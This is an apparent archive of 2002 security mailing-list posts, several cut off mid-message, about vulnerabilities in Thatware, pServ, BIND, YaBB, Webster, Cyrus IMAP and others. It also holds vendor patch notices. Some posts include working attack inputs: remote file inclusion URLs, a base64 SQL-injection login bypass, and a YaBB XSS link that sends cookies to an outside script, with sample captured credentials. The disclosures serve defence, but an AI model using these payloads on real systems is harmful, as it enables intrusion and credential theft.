Thatware (PHP)

[Frog Man]

Informations :
°°
Versions : ? -> 0.3 -> 0.5.3
Website : http://www.thatware.org
Problems :
- Include file
- SQL Injection

PHP Code/Location :
°°°
artlist.php (v0.5.2, 0.5.3) :
-
include $root_path.'thatfile.php';
-


config.php (v? -> 0.3 -> 0.5.3)  :
-
include $root_path."db_settings.php";
-

thatfile.php (v? -> 0.3 -> 0.5.2) :

if (!IsSet($thatfile)) {
include($root_path."config.php");
if (!IsSet($translation_set)) {
include $root_path."messages.$language.php"; } #Translation module, even for 
english needed!


auth.inc.php (v? -> 0.3 -> 0.5.0) :

$admintest = 0;
$mod_ok = 0;
$moderator = 0;

if(isset($user)) {
 if (!$thatfile) include("thatfile.php");
 $admin = base64_decode($user);
 $admin = explode(":", $admin);
 if (empty($admin[0]) || empty($admin[2])) exit;
 $aid = $admin[1];
 dbconnect();
 $result=mysql_query("select rights from users where uid='$admin[0]' and 
pass='$admin[2]'");
 if(!$result) {
   echo "Oh oh... select from database failed for admin check";
   exit;
 } else {
   list($auth_rights)=mysql_fetch_row($result);
   $auth_rights=explode(",",$auth_rights);
   if (!empty($auth_rights)) {
 $admintest=1;
 if (inarray($auth_rights, "4")||inarray($auth_rights, "1")) {
	$moderator=1;
  	$mod_ok=1;
 }
   }
 }
}




Exploits :
°°
v0.5.2, 0.5.3 :
http://[target]/artlist.php?root_path=http://[attacker]/
with
http://[attacker]/thatfile.php


v? -> 0.3 -> 0.5.3 :
http://[target]/config.php?root_path=http://[attacker]/
with
http://[attacker]/db_settings.php


v? -> 0.3 -> 0.5.2 :
http://[target]/thatfile.php?root_path=http://[attacker]/&language=1
with
http://[attacker]/config.php
and
http://[attacker]/messages.1.php


v? -> 0.3 -> 0.5.0 :
http://[target]/[NeedToBeAuth].php?user=JyBPUiAnJz0nOjE6JyBPUiAnJz0n
( base64_decode(JyBPUiAnJz0nOjE6JyBPUiAnJz0n) == ' OR ''=':1:' OR ''=')



Patchs :

0.5.3:
http://www.phpsecure.org/patch/dl.php?id=47
0.5.2:
http://www.phpsecure.org/patch/dl.php?id=51
0.5.0:
http://www.phpsecure.org/patch/dl.php?id=50
0.4.5:
http://www.phpsecure.org/patch/dl.php?id=52
0.4.4:
http://www.phpsecure.org/patch/dl.php?id=49
0.4.3:
http://www.phpsecure.org/patch/dl.php?id=48
0.4.2:
http://www.phpsecure.org/patch/dl.php?id=53
0.4.1:
http://www.phpsecure.org/patch/dl.php?id=54
0.4:
http://www.phpsecure.org/patch/dl.php?id=55
0.3:
http://www.phpsecure.org/patch/dl.php?id=56

More details :
°°
In French :
http://www.frog-man.org/tutos/Thatware.txt

Translated by Google :
http://translate.google.com/translate?u=http%3A%2F%2Fwww.frog-man.org%2Ftutos%2FThatware.txt&langpair=fr%7Cen&hl=en&ie=ISO-8859-1&prev=%2Flanguage_tools

frog-m@n


_
MSN Search, le moteur de recherche qui pense comme vous ! 
http://search.msn.fr/worldwide.asp

Multiple pServ Remote Buffer Overflow Vulnerabilities

[Matthew Murphy]

There are multiple buffer overflow bugs in pServ that could lead to a remote
(root?) compromise of public servers running the daemon:

ABSTRACT

Pico Server (pServ) is a freeware web server available at
pserv.sourceforge.net running on many POSIX compliant platforms.  The
package contains several exploitable buffer overflow errors that may allow
remote attackers to gain the privileges of the web server userid.  As pServ
has no setuid capability, this is typically uid=0/gid=0 (root).

DESCRIPTION

pServ reads in a 1024 byte line each time from the socket.  After this
occurs, several flaws in intermediate processing allow attackers to overrun
internal buffers used by the server.  This document assumes that the Unix
newline (0x0A or '\n') is used.

* One Byte Overflow in Stream Reading
pServ allocates 1024 bytes for a string buffer on the stack, and then
attempts to read the full size of the block.  It is possible to zero a
single byte of EBP (x86) by sending a TCP stream message that is exactly
1024 bytes in length to the server.

* Request method buffer overrun
pServ accepts 1024 bytes in each line of the request, but then only
allocates 16 bytes (according to the definition of "request.method" in
main.h) for this data, so a request like:

[buffer] / HTTP/1.0

will overwrite 1008 bytes of memory, and possibly allow for arbitrary code
execution, as this structure is stored on the stack.

In main.c:analyzeRequest():

/* first line: method, path and protocol version */
i = j = 0;
while (reqArray[0][i] != ' ' && reqArray[0][i] != '\0')
reqStruct->method[j++] = reqArray[0][i++]; <--- No check of 'method'
index
reqStruct->method[i] = '\0';
i++;

* HTTP version specifier buffer overrun
pServ only allocates a 16 byte buffer for "request.protocolVersion" in
main.h, and then proceeds to copy the remaining data on the request line
into this small buffer, so:

GET / HTTP/1.[buffer]

will corrupt a 1008 byte range of memory.

In main.c:analyzeRequest():

j = 0;
  while (reqArray[0][i] != ' ' && reqArray[0][i] != '\0')

reqStruct->protocolVersion[j++] = reqArray[0][i++]; <--- index of
'j' not checked
reqStruct->protocolVersion[j] = '\0';

* User-Agent buffer overrun
pServ only allocates a 256 byte buffer for a string that can be as large as
1011 bytes, allowing for the corruption of 755 bytes of stack data in the
server process:

GET / HTTP/1.0
User-Agent: [buffer]

In main.c:analyzeRequest():

if (!strncmp(reqArray[i], "User-Agent:", strlen("User-Agent:")))
strcpy(reqStruct->userAgent, &reqArray[i][strlen("User-Agent:
")]);

* Possible request parsing buffer overflow
pServ allows 1024 bytes to be read from a line, but it then tries to merge
the file path buffer (which can be as large as 1024 bytes, hypothetically)
and the document root buffer (which is given the same size), resulting in a
possible overflow.  If we look at the bare minimum for an HTTP 1.0 GET
request:

GET / HTTP/1.0[\n]

This gives us 1010 bytes for the file path.  If the document root is 14
bytes or larger, memory may be corrupted.  The server may also append the
default file name, which could result in denial of service if the buffer is
overrun by this concatenation.

In main.c:handleMethod():

strcpy(completeFilePath, homePath); <--- the buffer could
already be full!
strcat(completeFilePath, req.documentAddress); <--- overflow
 ...
strcat(completeFilePath, defaultFileName);

ANALYSIS

Buffer overflows are a chronic security problem for many vendors.  There are
three things that make these buffer overflows more severe than some others:

1) Application must run root/setuid (Privileged ports)
2) Remote/Daemon
3) Multiple vulnerabilities

These overflows ALL occur on the stack, and all therefore can be easily used
to overwrite EBP/EIP and cause the daemon to SEGV or execute arbitrary code.

DETECTION

Vulnerabilities discovered during source code analysis of pServ 2.0b5.

Re: CAIS-ALERT: Vulnerability in the sending requests control ofBIND

[Robert Tracz]

Hi Ivan,

Ivn Arce wrote:
>>>+  /*
>>>+  * The 16 bit space is very small and brute force attempts are
>>>+  * entirly feasible, we skip a random number of transaction ids
>>>+  * so that an attacker will not get sequential ids.
>>>+  */
>>
>>Using only brute force, the attack is very difficult to be applied. I
>>tried this several times. I did several tests in my experiments. The
>>probability of success is very low to get implement the attack using
>>only brute force.
> 
> 
> The probability of sucess is exactly:
> m-responses-sent/65535
> If I sent 65535 DNS responses with a different ID on each one one of
> then will hit the right ID.
> 
> The attack is basically the same.
> Either you sent N spoofed requests or you send M spoofed responses.
> The network traffic generated is also the same and in both cases
> there is still a race to win against the real DNS.

 As far as I understand the issue Vagner is right at this point. The
birthday paradox comes into play: If you send m requests and m
responses the probability of collision is:

p = 1 - 65535*(65535-1)*(65535-2)*...*(65535-m+1)/65535^m

In practice, if you send m = 256 responses and requests you have already
p = 39.2%, while if you would send 1 request and 511 responses (the
same traffic burden) you would get only p = 0.77%. And sending m = 1024
requests and responses gives you probability of success p = 99.9%.

However I agree with you that it would be better to enhance the
protocol.

Regards,

Robert


 

Cross-site Scripting Vulnerability in YaBB 1 Gold - SP1!

[Fabricio Angeletti]

 
http://the.target.xxx/board/YaBB.pl?board=gral;action=display;num=10360245269location%3d'Http://www.scriptkiddie.home/x.php?Cookie%3d'%2b(document.cookie)%3b

 num is a post that doesn't exist
 board must be a valid and accessable board
 X.php script to log the cookie

 that in an example of the cookie
 268: YaBBusername=HellMind;
YaBBpassword=yyG8B.3TA6i6I
 272: YaBBusername=Canallaman;
YaBBpassword=yypZn/JbGHTNY

 Tested in  YaBB 1 Gold - SP1!

 i discover this now, i know isnt much but u can do
 steal the user identity and maybe u can try to change
the password too (there is another old vuln but i dont
know if work here)

 Sorry for my bad english

 Bye



_
Do You Yahoo!?
Información de Estados Unidos y América Latina, en Yahoo! Noticias.
Visítanos en http://noticias.espanol.yahoo.com

[SECURITY] [DSA 201-1] New Free/SWan packages fix denial of service

[Martin Schulze]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

- --
Debian Security Advisory DSA 201-1 [EMAIL PROTECTED]
http://www.debian.org/security/ Martin Schulze
December 2nd, 2002  http://www.debian.org/security/faq
- --

Package: freeswan
Vulnerability  : denial of service
Problem-type   : remore
Debian-specific: no
CERT advisory  : VU#459371

Bindview discovered a problem in several IPSEC implementations that do
not properly handle certain very short packets.  IPSEC is a set of
security extensions to IP which provide authentication and encryption.
Free/SWan in Debain is affected by this and is said to cause a kernel
panic.

This problem has been fixed in version 1.96-1.4 for the current stable
distribution (woody) and in version 1.99-1 for the unstable
distribution (sid).  The old stable distribution (potato) does not
contain Free/SWan packages.

We recommend that you upgrade your freeswan package.

wget url
will fetch the file for you
dpkg -i file.deb
will install the referenced file.

If you are using the apt-get package manager, use the line for
sources.list as given below:

apt-get update
will update the internal database
apt-get upgrade
will install corrected packages

You may use an automated update by adding the resources from the
footer to the proper configuration.


Debian GNU/Linux 3.0 alias woody
- 

  Source archives:

http://security.debian.org/pool/updates/main/f/freeswan/freeswan_1.96-1.4.dsc
  Size/MD5 checksum:  637 1917ba063e4058123034247ddb105bfa
http://security.debian.org/pool/updates/main/f/freeswan/freeswan_1.96-1.4.diff.gz
  Size/MD5 checksum:   322480 ad70a2ecd67bbc1ae7b6eb6fcdb84da8
http://security.debian.org/pool/updates/main/f/freeswan/freeswan_1.96.orig.tar.gz
  Size/MD5 checksum:  2251757 9ea1a778713e48d39f3c77de5f54752b

  Architecture independent components:


http://security.debian.org/pool/updates/main/f/freeswan/kernel-patch-freeswan_1.96-1.4_all.deb
  Size/MD5 checksum:   889918 30c73e274e84b62125136ec96160d23a

  Alpha architecture:

http://security.debian.org/pool/updates/main/f/freeswan/freeswan_1.96-1.4_alpha.deb
  Size/MD5 checksum:  1761260 2463d0474314aa775126544baea6ec95

  ARM architecture:

http://security.debian.org/pool/updates/main/f/freeswan/freeswan_1.96-1.4_arm.deb
  Size/MD5 checksum:  1700504 f15929f25fb8bb953748edbe188511ba

  Intel IA-32 architecture:

http://security.debian.org/pool/updates/main/f/freeswan/freeswan_1.96-1.4_i386.deb
  Size/MD5 checksum:  1678486 878523a3a03254bfa1e6a39052b50e1b

  Intel IA-64 architecture:

http://security.debian.org/pool/updates/main/f/freeswan/freeswan_1.96-1.4_ia64.deb
  Size/MD5 checksum:  1861640 8a1a611c76cd023311bae7126dfa5b8a

  HP Precision architecture:

http://security.debian.org/pool/updates/main/f/freeswan/freeswan_1.96-1.4_hppa.deb
  Size/MD5 checksum:  1723252 22df2896c7f4f96a693da436addc6d95

  Motorola 680x0 architecture:

http://security.debian.org/pool/updates/main/f/freeswan/freeswan_1.96-1.4_m68k.deb
  Size/MD5 checksum:  1660918 a55f47febd01eefd216e0da3b200de76

  Big endian MIPS architecture:

http://security.debian.org/pool/updates/main/f/freeswan/freeswan_1.96-1.4_mips.deb
  Size/MD5 checksum:  1718046 e8fc45985fc4c25a2a9b9ab7d6e21e08

  Little endian MIPS architecture:


http://security.debian.org/pool/updates/main/f/freeswan/freeswan_1.96-1.4_mipsel.deb
  Size/MD5 checksum:  1721266 c1bd4591da7f720d3fe7b4e134ac9f22

  PowerPC architecture:


http://security.debian.org/pool/updates/main/f/freeswan/freeswan_1.96-1.4_powerpc.deb
  Size/MD5 checksum:  1688682 0e1b5ce54d414da362c7eeda097acfa9

  IBM S/390 architecture:

http://security.debian.org/pool/updates/main/f/freeswan/freeswan_1.96-1.4_s390.deb
  Size/MD5 checksum:  1689648 fa2ac3caafbb37cbcde0138ba9b8f6c6

  Sun Sparc architecture:

http://security.debian.org/pool/updates/main/f/freeswan/freeswan_1.96-1.4_sparc.deb
  Size/MD5 checksum:  1706714 53ef4472274ffaac7e24455d9ec6c1a1


  These files will probably be moved into the stable distribution on
  its next revision.


Survey on the use of Debian GNU/Linux 2.2 alias potato:
http://lists.debian.org/debian-devel-announce-0211/msg1.html

- -
For apt-get: deb http://security.debian.org/ stable/updates main
For dpkg-ftp: ftp://security.debian.org/debian-security dists/stable/updates/main
Mailing list: [EMAIL PROTECTED]
Package info: `apt-cache show ' and http://packages.debian.org/

-BEGIN PGP SIGNATURE-
Version: GnuPG v1.0.7 (GNU/Linux)

iD8DBQE963qkW5ql+IAeqTIRAmVzAKCYZA7rVb2+4/OiNXm3G6yIvBToagCgqD5x
VcEuGuC

RE: CAIS-ALERT: Vulnerability in the sending requests control ofBIND

[Vagner Sacramento]

Hi Iván,

>I understand your point but I think the problem remains
>the same.

I think you did not understand me yet. I am going to try explaining with 
more details.

Before, I would like to know if you agree with me that the implementation 
problem of BIND that generate multiple simultaneous queries for the same 
resource record, allow the attacker to implement DNS Spoofing attacks 
remotely with HIGH probability of success using fewer packets (by several 
orders of magnitude) than the traditional brute-force approach would 
require. Ok or not??? It is this that being released in advisory.

CERT opinion:

"By rapidly generating multiple queries for an RR to a vulnerable 
resolver, the attacker can induce a condition whereby the vulnerable 
resolver has multiple open queries for that RR. The attacker then sends a 
number of spoofed responses to the vulnerable resolver. Given the right 
combination of open queries and spoofed responses, the attacker can 
achieve a high probability of success with far fewer packets (by several 
orders of magnitude) than the traditional brute-force approach would 
require."

First: My attack methodology

I am describing a probabilistic method that significantly improves an 
attacker's chances of successfully to implement DNS Spoofing attacks with 
a relatively small number of packets sent. Using this method, an attacker 
would have a 99% chance of compromising a vulnerable name server running 
BIND 4.x and BIND 8.x with less than 1100 total packets. I do not need 
send many packets to implement the attack with high probability of 
success.

The bind and other DNS implementations current have vulnerabilities that 
allow the attacker to implement attacks remotely with VERY, VERY facility.

The bug is in this file: src/bin/named/ns_forw.c as I said in the last 
message.

CERT Analyses:

"The only distinction between this attack and the traditional brute-force 
approach (1 query with multiple spoofed replies) is the generation of 
multiple simultaneous queries. The attacker need not sniff any packets 
between the victim resolver and the legitimate nameservers for the RR 
being spoofed. An attacker's success against any particular resolver 
instance will be probabilistic in nature, with a persistent attacker 
always being able to achieve a reasonable probability of success given 
enough attempts."

"By rapidly generating multiple queries for an RR to a vulnerable 
resolver, the attacker can induce a condition whereby the vulnerable 
resolver has multiple open queries for that RR. The attacker then sends a 
number of spoofed responses to the vulnerable resolver. Given the right 
combination of open queries and spoofed responses, the attacker can 
achieve a high probability of success with far fewer packets (by several 
orders of magnitude) than the traditional brute-force approach would 
require."

I say again:

If the ISC and other vendors correct their code, they significantly will 
reduce an attacker's chances to implement the attack REMOTELY. Do you 
agree with me?

Of course, all DNS implementations are vulnerable to attacks via brute 
force.


* Second - Attacks brute force

Attacks brute force is possible. All We know of this.

However, this attack is VERY difficult to be implemented REMOTELY on DNS 
implementation that uses random algorithm. I am affirming this because the 
attacker has to send millions of replies with IDs and source ports 
different into a time very short (~ 90ms).  In most cases, the response 
from the legitimate nameserver will arrive long before the attacker has 
the opportunity to send that many packets. 
The attack is possible ONLY if spoofed response, which correct ID will be 
received before ANY of responses from legitimate DNS server.

My attack methodology describes a method that dramatically reduces the 
number of packets required to make the chances of successful cache 
poisoning high.

This is an excellent paper that describes the average time necessary to 
resolve a domain name:
Performance and the Effectiveness of Caching. MIT Laboratory for Computer 
Science. Proc. in ACM SIGCOMM INTERNET MEASUREMENT WORKSHOP. 2001.

There are several limitations to implement this attack REMOTELY via brute 
force. You only will know the limitations if you try to implement it.

I am going to demonstrate the results presented by CERT during its tests. 
The CERT did an excellent mathematics model about the success probability 
of attack.

http://www.kb.cert.org/vuls/id/457875

Wrote by CERT:

"As expected, the traditional brute-force case where the attacker tries to 
guess the transaction ID or TID/port pair based on a single open request 
requires the attacker to search half the search space (15 or 31 bits, 
respectively) to achieve a 50% probability of success. However, when the 
attacker is able to induce the resolver into generating multiple 
simultaneous requests, the total number of packets required falls off 
rapidly."

>Namely that there is a fundament

GLSA: pine

[Daniel Ahlberg]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

- - 
GENTOO LINUX SECURITY ANNOUNCEMENT 200212-1
- - 

PACKAGE : pine
SUMMARY : remote DOS
DATE    : 2002-12-02 13:12 UTC
EXPLOIT : remote

- - 

An attacker can send a fully legal email message with a crafted
From-header and thus forcing pine to core dump on startup.
The only way to launch pine is manually removing the bad message
either directly from the spool, or from another MUA. Until the
message has been removed or edited there is no way of accessing
the INBOX using pine.

Read the full advisory at
http://marc.theaimsgroup.com/?l=bugtraq&m=103668430620531&w=2

SOLUTION

It is recommended that all Gentoo Linux users who are running
net-mail/pine-4.44-r5 and earlier update their systems as follows:

emerge rsync
emerge pine
emerge clean

- - 
[EMAIL PROTECTED] - GnuPG key is available at www.gentoo.org/~aliz
[EMAIL PROTECTED]
- - 
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.2.1 (GNU/Linux)

iD8DBQE962KFfT7nyhUpoZMRAuXRAJ98j+FOcW1T2+ltJNPhj2lPc7dU/gCfb8IK
jEpRPKyGYvhU28yicSxYzCs=
=E178
-END PGP SIGNATURE-

Potential Vuln in McAfee VirusScan 451

[jari.helenius]

Potential security vulnerability in Network Associates McAfee VirusScan
4.5.1sp1 product with ability to run code of attackers choise

BACKGROUND
If Download Scan or Internet Filter is enabled program uses WebScanX.exe
module. When running WebScanX.exe is hooked also in explorer.exe.

If  %HOMEDRIVE%, %HOMEPATH% and %HOMESHARE% variables are pointing to
network, and possibly even if those variables point local disk, following
action takes place. (I refer those variables as homedirectory.)

DESCRIPTION
Opening explorer and browsing local hard disk like c:\winnt creates
traffic in network; WebScanX tries to locate various DLL files from users
homedirectory. At least following DLLs have been noticed in network
traffic capture: Mswsock.dll, regemul.dll, msjava.dll, psapi.dll,
setupapi.dll, browseui.dll. All other DLL:s are called once or twice but
browseui.dll approximately 60 times when opening winnt\system32 folder in
explorer.exe.

All DLLs are located in winnt\system32 folder.

VirusScan and WebScanX are running in localsystem context.

User may have only limited access to local resources. Normally user have
full control to his homedirectory.

I have not researched why WebScanX is trying to locate those DLLs from
homedirectory but probably it uses those DLLs to do something. If DLLs are
not needed by WebScanX behaviour is even more odd than it is now.

At this point all a malicious user has to do is to research WebScanX’s
behaviour and create a modified version of one of called DLLs and place in
users homedirectory. This gives the process running as LocalSystem access
to modified DLL and an opportunity to run it with the highest privileges
possible (as seen from local computer). This action can be carried out
from a Trojan program as well.

ENVIROMENT
This behaviour was seen with W2K sp2 and W2K sp3, IE 5.5sp2+rollups and
with McAfee VirusScan 4.5.1sp1, Scan Engine 4.1.60. Other older versions
might also be vulnerable.
WinXP not tested.

OTHER INFORMATION
Network Associates has been informed with this problem 28.10.2002, because
this slows computers down and generates unnecessary network load,
especially over slow WAN links.

At 20.11.2002, Network Associates answered:
QUOTE
“WebscanX creates some extra overhead for scanning - since it also hooks
Explorer.
I would suggest disabling the component, as there won't be a way to stop
those requests if it's for scanning.
Note: WebscanX also hooks Explorer because it can be used for browsing the
Web.

Customers need to be aware that this functionality is largely redundant,
and is optional for layered VirusScan protection - but is not necessary.”
END OF QUOTE

At the same day (20.11.2002) Network Associates were informed also of the
security aspect regarding this behaviour. Network Associates hasn’t
contacted us after that.

Yours
Jari Helenius
Mawaron Oy
[EMAIL PROTECTED]

Re: [Full-Disclosure] Netscape Problems.

[Ben Bucksch]

zen-parse wrote:


Last Stage of Delirium wrote:


Netscape seems to be another American company that does not seem to 
be fulfilling public obligations

[...]
No reply received yet regarding money.
[...]
In case people haven't noticed yet, Open Source is not more secure. 

You seem to complain mostly about the lack of payment from Netscape. The 
bug bounty is offered by Netscape for the Netscape browser (which is not 
fully Open Source) under terms set forth by Netscape alone. While your 
anger is fully understandable (I don't know, if it's justified or not), 
it has nothing to do with the publicized security bug policy of 
mozilla.org [1].

Please report bugs to mozilla.org directly. If you do that, you (as bug 
finder) are in charge of the terms and you can threaten the developers 
with full disclosure on bugtraq. If you plan to do that, please do it 
from the beginning.

You are of course welcome to report the bugs to the Beonex project [2], 
and we will then handle the reporting and tracking. Beonex has an even 
more open stance than mozilla.org.

Ben Bucksch
Beonex

[1] 
Quote: "Anyone who believes they have found a Mozilla-related security 
vulnerability can and should report it by sending email to the address 
[EMAIL PROTECTED] For more information read the rest of this 
document. [...]
The original reporter of a security bug may decide when that bug report 
will be made public [...]"
[2] 

Lag Security Advisory - Com21 cable modem configuration file feedingvulnerability

[David Laganière]

I have no idea if this went out somehow, but here it is. I completely 
apologize if this has been posted in the past. This is the second time
I post this one on Bugtraq. It didn't get through for an unknown reason 
and there aren't any records about it on the SecurityFocus website
so I guess it was never posted.

The advisory is also available in Word and HTML format at:
http://lag.securinet.qc.ca/papers.html

David

--

Lag Security Advisory
Com21 cable modem configuration file feeding vulnerability

Release date: November 1, 2002.
Vulnerability discovery date: Over six (6) months ago.

.systems affected.
All Com21 DOXport 1110 cable modems with software version 2.1.1.106.
Version 2.1.1.108.003 appears not to be vulnerable.

Please note that this vulnerability might affect other vendors’ cable 
modems. In fact, all cable modems trying to contact a TFTP server on the 
cable-side of the user are vulnerable.

.overview.
It is possible for an end-user to feed the cable modem with its own 
configuration file, and thus, specifying the number of CPE, 
download/upload speeds, and a few other options.

.impact.
Well, obviously, the user could have access to features that he does not 
pay for.

.solution.
Upgrading the software to version 2.1.1.108.003 or any other software 
version that is not vulnerable.

.complete description.
With a given program, an end-user is able to create cable modem 
configuration files following the DOCSIS standard. With a vulnerable 
Com21 cable modem, the user can create a TFTP, DCHP and BOOTP server to 
successfully feed the cable modem with its own configuration file. I 
used a program called docsis (http://docsis.sourceforge.net/) to first 
create the configuration file.

Then, I used tcpdump (http://www.tcpdump.org/) to capture packets from 
the wire to discover what boot options were required for my cable modem. 
I also used an SNMP client to discover the internal IP of my cable modem 
from the main router. Knowing this, I was also able to view the cable 
modem web page as well as change SNMP options.

With all this load of information, I created a DHCP server (I also added 
an IP alias to my Ethernet card so that it could give the internal IP to 
the cable modem), a BOOTP server and finally a TFTP server. After a 
couple of hard reboots of my cable modem, I could see in my TFTP server 
logs that the device download its configuration file from my server. I 
then tried to access the Internet and it worked as normally.

.conclusion.
Many Internet providers offering cable modem access to the Internet 
appears not to be aware of those vulnerabilities. I supplied a detailed 
description of how to exploit the problem for the users to help their 
network administrators to fix the problem. And as always, if you make 
crazy things out of this, I am in no way responsible for all your problems.

Advisory: Lawson Financials RDBMS Insecurity

[John Eisenschmidt]

+---+
| Advisory: lawson001   |
|Author(s): John Eisenschmidt <[EMAIL PROTECTED]> |
|   George Lewis <[EMAIL PROTECTED]>|
| Release Date: December 02, 2002   |
|   Vendor: Lawson  |
|  Application: Financials (possibly others)|
|Affected Versions: 8.x Environment |
|   Affected Platforms: Solaris (possibly others)   |
|   Affected Databases: Oracle (possibly others)|
+---+

Summary
---
Lawson Financials does not adequately secure data held in third-party
relational databases.

Background
--
Lawson Software was founded in 1975 by Richard Lawson to develop
turn-key accounting and business systems. Depending on the platform,
Financials was originally written in either RPG or COBOL. All data was
stored in a proprietary flat file database called LADB.

The Lawson Applications (including Financials) run in an abstraction
layer called "the environment". The purpose of the environment is to
present information in a uniform manner regardless of the host operating
system.  The current 8.0 environment supports the following operating
systems:
-AIX
-Digital Unix/Tru64
-HP-UX
-Sun Solaris
-Windows NT/2000

Several years ago, the environment was retrofitted to integrate with
popular third-party relational database. These include:
-IBM DB2/UDB
-Informix
-Microsoft SQL Server
-Oracle
-Sybase

As of the release of the 8.0 environment, Lawson only supports the use
of a third-party relational database for production systems.

For the sake of brevity, this paper will only make specific reference to
a Lawson 8.0 environment installation on Sun Solaris with Oracle as the
repository. It is likely, however, that the issues raised here will more
than likely pose the same risks to other Unix variants and Windows.

Detailed Description

There are three standard ways to configure Lawson to work with a
third-party RDBMS:

1) Oracle database authentication
2) Operating system authentication with a single Lawson user name
3) Operating system authentication with multiple Lawson user names

Setup #1 employs a single username and password for all transactions
within the database.  This username and password are stored in a
world-readable text file called the "capital  file":

bash-2.03$ ls -l [A-Z]*
-rw-rw-rw-   1 lawson   lawson   106 Jun 11 12:10 IBM
-rw-rw-rw-   1 lawson   lawson   123 Jun 11 12:10 INFORMIX
-rw-rw-rw-   1 lawson   lawson   272 Jun 13 08:40 ORACLE
-rw-rw-rw-   1 lawson   lawson   124 Jun 11 12:10 SYBASE

As you can see, the default permission is 666 (world readable), and
ownership defaults to group lawson. All users of Financials must be a
primary member of group lawson, which means any user with shell access
can see the contents of this file. Shell access is required for using
the Lawson.Insight Desktop (LID) interface. Please note: the default
permissions on this file can be changed to 400, and ownership of the
file given to root, however this is not suggested anywhere in the
install documents, nor is it mentioned by the Lawson certified installer
required to certify your installation.

Once an unprivileged user obtains this password, they can easily
establish a connection to the database through a connector like ODBC or
JDBC. Since the lawson user is the database owner, these credentials
make it possible to read, alter, or destroy the database.

Setup #1 tends to be the preferred configuration method by Lawson
installers, despite the fact that the Lawson "Oracle Setup and Tools
Guide" (version 8.0.2, published May 2002) reflects that this is not a
good method to use (page 41). NOTE: The text is not reproduced here due
to Lawson's copyright.

Setup #2 requires that Oracle is setup to use the operating systems'
authentication mechanism. This method utilizes a single account, which
still reflects the lack of database auditing and logging as mentioned
above. This method is more secure than the previous #1 because the
password to the single account is not available in the world-readable
text file. If this single password is compromised, the system remains
vulnerable.

Setup #3 has an advantage because user level auditing and logging
is actually viable since users would have unique accounts.  It has
a disadvantage because the user, by knowing their own username and
password, can connect to the database via a connector with these
credential.

Financials requires that each user account has full DML rights
(SELECT,

Advisory: Webster HTTP Server

[Matthew Murphy]

ABSTRACT

Webster HTTP Server is an HTTP/1.0 server written in C++ using Microsoft
Foundation Classes (MFC).  It runs on Windows 95, 98, NT, 2000, Me, and XP
platforms.  It was first published as a sample application in Microsoft
Journal (MSJ).  Multiple security flaws have been identified in Webster that
could allow an attacker to take various actions on the server, ranging from
script execution to complete compromise.

DESCRIPTION

There are three vulnerabilities in Webster, all related to the processing of
malicious requests:

I. Buffer Overrun

There is a security flaw in Webster that allows an attacker to completely
compromise the server.  If given a URI that is 275 characters or longer, the
saved return address will be overwritten.  Execution of arbitrary code is
possible:

http://www.techie.hopto.org/exploits/webster.txt

II. Directory Traversal

Another seperate security flaw occurs with poor path validation.  Webster
will follow '/../' sequences in URL path names, allowing access to files
above the document root.  This vulnerability may be used for further
compromise if security sensitive files are retreived (the Windows NT SAM
file, for instance).

http://www.techie.hopto.org/exploits/webster2.txt

III. Cross-site Scripting

Another small vulnerability was uncovered in Webster.  If a path name
containing HTML markup is used, that path will be returned to the browser as
HTML content, enabling zone bypass.

Example: http://websterhost.edu/alert(document.URL)/

RE: Kerberos login sniffer and cracker for Windows 2000/XP

[Jason Coombs]

Aloha, Arne.

Where can we find the source code for kerbcrack?

It may be useful to point out that Internet Explorer 5.0 and later support
Kerberos authentication by way of a Negotiate WWW-Authenticate header that
is always sent by IIS paired with a classic NTLM WWW-Authenticate header. IE
sends BOTH NTLM and Kerberos authorization data back to IIS, letting it pick
the one it prefers to use.

Kerbcrack points out the need for IPSec to be used in conjunction with
Kerberos, but lazy client implementations that can't be forced to stop using
older less-secure authentication methods concurrently with Kerberos are also
an ongoing problem.

Sincerely,

Jason Coombs
[EMAIL PROTECTED]

-Original Message-
From: Arne Vidstrom [mailto:[EMAIL PROTECTED]]
Sent: Wednesday, November 27, 2002 8:06 PM
To: [EMAIL PROTECTED]
Subject: Kerberos login sniffer and cracker for Windows 2000/XP


Hi all,

I've coded a simple Kerberos login sniffer and cracker for Windows 2000/XP
that you might find useful. You can find it for download at:

http://ntsecurity.nu/toolbox/kerbcrack/

Regards /Arne

Re: Solaris priocntl exploit

[Jay Beale]

> but unfortunately, priocntl() never check '../' in pc_clname arg
> we can use '../../../tmp/module' to make priocntl() load a module from anywhere

You've got to love when this kind of classic mistake happens in a system call!

I latched onto this one simply because it's the same poor input
validation/permissions check that happens in my favorite old privilege escalator,
userhelper.  ( http://online.securityfocus.com/bid/913 )

This always gets classified as bad input validation.  Is the right answer really
to check for ../ 's or to canonicalize the filename argument and check ownerships
and permissions on the file and parent directories?

  - Jay

RE: Exploit for traceroute-nanog overflow

[Carl Livitt]

Hi all,

Further to my email posting a working exploit for traceroute-nanog on SuSE 
boxes, it would appear the the patch provided by SuSE does not address the 
overflow my exploit... um... exploits.

On a patched SuSE 7.2 box:

carl@titan:~/exploits/traceroute-nanog > rpm -qa | grep traceroute
traceroute-6.1.1-0
carl@titan:~/exploits/traceroute-nanog > ./traceroute-exploit -d
Now run this exploit with the '-e' flag.
carl@titan:~/exploits/traceroute-nanog > ./traceroute-exploit -e
traceroute to www.yahoo.akadns.net (64.58.76.230), 30 hops max, 40 byte 
packets
 1 sh-2.05$ id
uid=500(carl) gid=100(users) groups=100(users)
sh-2.05$

Note that traceroute now drops root privileges (properly; there is no way to 
get them back), so even though it is still possible to execute arbitrary code 
via a stack overflow, it cannot be done as root.

Of course, if an attacker could control the server that traceroute uses to 
lookup DNS admin contact names, then it would be possible to exploit this 
flaw remotely. However, the default server used by traceroute is 'localhost' 
which makes this almost impossible to exploit in any other way except locally 
on an unpatched system.

Cheers,
Carl.

pre-login buffer overflow in Cyrus IMAP server

[Timo Sirainen]

problem
---

Cyrus IMAP server has a a remotely exploitable pre-login buffer overflow. I
checked versions 1.4 (oldest in web page) and 2.1.10 which both had it, so
apparently all versions are affected.

Problem is that literal lengths aren't verified to be in any reasonable
range. The length + 2 is then malloc()ed and later written into. So given
length of 2^32-1, we get malloc(1) call but ability to write 2^32-1 bytes
there.

Note that you don't have to log in before exploiting this, and since Cyrus
runs everything under one UID, it's possible to read every user's mail in
the system.

I verified that this is exploitable with GLIBC 2.3.1. Probably possible
with older glibcs as well although they had somewhat different malloc()
code. No idea about other libcs, BSD ones look safe. There could be of
